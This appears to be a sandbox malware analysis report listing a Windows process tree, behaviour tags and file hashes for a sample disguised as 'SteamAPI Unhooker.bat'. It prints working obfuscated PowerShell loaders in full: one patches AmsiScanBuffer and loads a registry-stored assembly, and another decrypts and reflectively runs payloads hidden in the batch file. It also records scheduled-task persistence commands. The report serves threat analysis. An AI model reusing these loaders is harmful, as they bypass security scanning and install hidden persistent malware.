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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1000
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{44d1d4c6-7289-459a-94d1-3a816bd598a1}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2320
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:936
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:528
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1032
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1048
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1056
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1172 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:3036
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:jPOTZZnLVgzG{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$aAXEImPJtrzNYO,[Parameter(Position=1)][Type]$zTckOoxhtk)$IciMnqAwgQT=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Refl'+'e'+''+[Char](99)+''+'t'+''+'e'+'d'+'D'+''+[Char](101)+''+[Char](108)+'e'+'g'+'a'+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+'a'+'t'+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+'e'+'',''+[Char](67)+''+'l'+''+[Char](97)+'s'+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+'a'+[Char](108)+''+[Char](101)+''+'d'+''+','+''+[Char](65)+''+'n'+''+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+'as'+'s'+''+','+''+'A'+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$IciMnqAwgQT.DefineConstructor('R'+[Char](84)+'S'+'p'+''+[Char](101)+''+'c'+''+'i'+''+[Char](97)+''+[Char](108)+'N'+'a'+'m'+'e'+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+'P'+'u'+[Char](98)+''+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$aAXEImPJtrzNYO).SetImplementationFlags('R'+[Char](117)+''+'n'+'ti'+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+'a'+''+'n'+'ag'+[Char](101)+''+[Char](100)+'');$IciMnqAwgQT.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+',H'+[Char](105)+''+'d'+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+'l'+[Char](111)+'t'+[Char](44)+'V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'',$zTckOoxhtk,$aAXEImPJtrzNYO).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+'Ma'+[Char](110)+''+[Char](97)+''+[Char](103)+'ed');Write-Output $IciMnqAwgQT.CreateType();}$ODtuyioWfkvie=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+'t'+''+[Char](101)+''+[Char](109)+'.'+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+''+'f'+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+'U'+'n'+[Char](115)+'af'+[Char](101)+''+[Char](78)+'a'+'t'+''+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+''+'e'+''+'t'+''+[Char](104)+'od'+[Char](115)+'');$DxsLfwWrPmrHkD=$ODtuyioWfkvie.GetMethod(''+'G'+''+[Char](101)+''+'t'+'Pr'+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+[Char](114)+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+'l'+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+''+'a'+'t'+'i'+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$XongVEnNdDRLHqIxgor=jPOTZZnLVgzG @([String])([IntPtr]);$zuwNZkcwaEQUuSTCuBwRTu=jPOTZZnLVgzG @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$eTvejnJjRAF=$ODtuyioWfkvie.GetMethod(''+[Char](71)+'e'+'t'+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+'le'+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+'k'+''+'e'+''+'r'+''+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$isIAhxWxeWuUkv=$DxsLfwWrPmrHkD.Invoke($Null,@([Object]$eTvejnJjRAF,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+'Li'+'b'+''+[Char](114)+''+'a'+''+[Char](114)+'y'+'A'+'')));$FvzJfCbJzYrGWtoMI=$DxsLfwWrPmrHkD.Invoke($Null,@([Object]$eTvejnJjRAF,[Object](''+'V'+'i'+[Char](114)+'t'+[Char](117)+'a'+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+'tec'+'t'+'')));$BDeAEXe=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($isIAhxWxeWuUkv,$XongVEnNdDRLHqIxgor).Invoke('am'+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$EkkaUtGXMjMBchmQF=$DxsLfwWrPmrHkD.Invoke($Null,@([Object]$BDeAEXe,[Object]('A'+[Char](109)+''+[Char](115)+''+'i'+'Sc'+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$MsCvePHDti=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FvzJfCbJzYrGWtoMI,$zuwNZkcwaEQUuSTCuBwRTu).Invoke($EkkaUtGXMjMBchmQF,[uint32]8,4,[ref]$MsCvePHDti);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$EkkaUtGXMjMBchmQF,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FvzJfCbJzYrGWtoMI,$zuwNZkcwaEQUuSTCuBwRTu).Invoke($EkkaUtGXMjMBchmQF,[uint32]8,0x20,[ref]$MsCvePHDti);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+'R'+'E').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+'t'+''+'a'+''+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3504
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
PID:1196
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1252
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1280
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1340
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1380
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2756
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1436
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1556
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1572
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1704
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1748
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1772
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1812
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1900
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1912
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1964
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2004
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1672
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2100
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2244
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2252
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2412
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2420
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2560
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2616
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2640
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2896
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2944
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:1468
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of UnmapMainImage
PID:3368 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SteamAPI Unhooker.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:5108 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\SteamAPI Unhooker.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\SteamAPI Unhooker.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4736 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_482_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_482.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4836 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_482.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3640 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_482.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:2184 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:1764
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_482.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_482.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4716 -
C:\Users\Admin\AppData\Local\Temp\New.exe"C:\Users\Admin\AppData\Local\Temp\New.exe"7⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4748 -
C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77New.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\New.exe'" /sc onlogon /rl HIGHEST8⤵
- Creates scheduled task(s)
PID:4448 -
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"7⤵
- Executes dropped EXE
PID:1848 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\KilafD9X51NS.bat" "7⤵PID:1152
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵PID:4576
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C:\Windows\SysWOW64\chcp.comchcp 650018⤵PID:3404
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C:\Windows\SysWOW64\PING.EXEping -n 10 localhost8⤵
- Runs ping.exe
PID:4956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3524
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3720
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3880
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4084
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:1452
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:3008
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:460
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2772
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3492
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:1680
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4284
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:2304
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3452
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:716
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 45d5507cdde13df5dcbf5d39d52cb1d6 wh1WZjrFrUKS2LjuEUgWPg.0.1.0.0.01⤵
- Sets service image path in registry
PID:1360 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:2936
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:2220
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:4904
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C:\Windows\sysWOW64\wbem\wmiprvse.exeC:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding1⤵PID:2292
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:1488
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:2064
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:548
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD555d32bc1c206428fe659912b361362de
SHA17056271e5cf73b03bafc4e616a0bc5a4cffc810f
SHA25637bd9078411576470f38bed628682d66786194692355541cd16f323e8f17c1ff
SHA5122602abc70c0ed7e5ba63a3c7190015c2b30aa3223fbbe65fd9ddc001e84ab393bb172a9488dd988cd6368d668ab8608f85dc03cdb7c9561e904e3f7ce103485c
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Filesize
17KB
MD5b2239c642ae37b49c99bffc889acee07
SHA1099e9ac47f4d462e35a8cf461d60f5036f60bbfd
SHA2565ae136d55240d4569365ae03b2aa4954002ff3ca62e00c16edb79a7f4c03afb8
SHA512850ea2f5e8c231a98aa2992653be4ba70008b3616bb34e50426cfdace84510e0363a228712083869f1168a5bfca04fdc13c870b542ce7c81d0d8b2fc27d9473d
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Filesize
163KB
MD5b51552b77057c2405f73bbbf9c89234a
SHA14793adbba023f90d2d2ad0ec55199c56de815224
SHA256720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0
SHA512564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66
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Filesize
276B
MD549cd78f46e78a84286a9ddd78033eb3c
SHA168505a3f205b4ca6ba97bf3a1e61c71c61de398d
SHA256ce78b249a0155093be008dbac2867545e1b820cb5d875d00985b898e382b9aee
SHA512b20f60813134e79a2c94be3138ef19e8d8f366ae3690397c6fd8e97c4301102ce21a4291bd39b1dee139824299afaddb3fbab22e31052b8274baf58d183c5018
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Filesize
409KB
MD5cf570b21f42f0ce411b7c9961068931e
SHA1f92aa688a1dbd64a4585ecfe80a9c2d7f408c57d
SHA256d0c4045c70a0822806a4e56d7883821cd2c19362f1cfed3bcbdb1e1b8eb15234
SHA512de9dce8300656cd8531569011d043373193cbda125b738e66a5bf107178b48781d6dc88eea696b2074c352a1bf56a4693cfae62e668993ac24ce18aebfdcd684
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
224B
MD59ec350de7fb81cf30f916415384c3760
SHA1d1399e56806e70a00732b3acfe5c1ab3b41e8ff5
SHA2564ba1523cb59e38e23224dbc33f7b25f1222de0d935795e3c43ec985265bd29d3
SHA512fee1ca32861bb4b314717046ac39c3ecf008e454bc75a6e4779a10adcf0cc74c3d3bc6991aae49ec9c3397f0273d0c14625aea6cdd6ab70c133c33364a22ccf6
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Filesize
1002KB
MD5f6d5bfaee8a55ff72c7b453fda066d62
SHA17d737d53013990e5d05076b7206e43eb4793fc7f
SHA2563ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308
SHA512e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284
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Filesize
115B
MD57c8956b43fdf23829e8da947749dd4e1
SHA1e5e0e2e533f6d88758452e67382560cf045b7eda
SHA256a1d3b4e27923b07a6b5d0cdeeed244b795952fa90b1471b3aae81d4da89fdc0d
SHA512a9c15b6242d7acd6b49e1e0f463570860331b8fbcb21d04b56d3f9d3d907c6b55efe49d9da18a79ea304503bf724941a2dc113a96824446cefa451a01383311e
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Filesize
2KB
MD58abf2d6067c6f3191a015f84aa9b6efe
SHA198f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
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Filesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
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Filesize
2KB
MD5ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1a3879621f9493414d497ea6d70fbf17e283d5c08
SHA25698c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA5121eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
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Filesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
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Filesize
2KB
MD51e8e2076314d54dd72e7ee09ff8a52ab
SHA15fd0a67671430f66237f483eef39ff599b892272
SHA25655f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA5125b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
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Filesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4